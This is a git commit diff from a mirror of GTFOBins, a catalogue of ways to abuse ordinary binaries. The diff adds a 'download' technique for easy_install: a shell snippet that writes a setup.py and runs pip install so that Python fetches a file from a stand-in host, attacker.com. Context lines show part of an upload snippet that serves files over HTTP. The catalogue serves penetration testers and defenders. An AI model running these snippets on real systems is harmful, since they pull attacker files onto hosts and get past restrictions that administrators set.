1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-28 06:59:38 +02:00

Add download to easy_install

This commit is contained in:
Emilio Pinna 2018-09-29 10:46:03 +01:00
parent c2224a6b49
commit 9dc6a93e5b

View File

@ -36,6 +36,18 @@ functions:
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py
easy_install $TF
download:
- description: Fetch a remote file via HTTP GET request. It needs an absolute local file path.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=/tmp/file_to_save
TF=$(mktemp -d)
echo "import os;
os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys;
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py
pip install $TF
file-write:
- description: It needs an absolute local file path.
code: |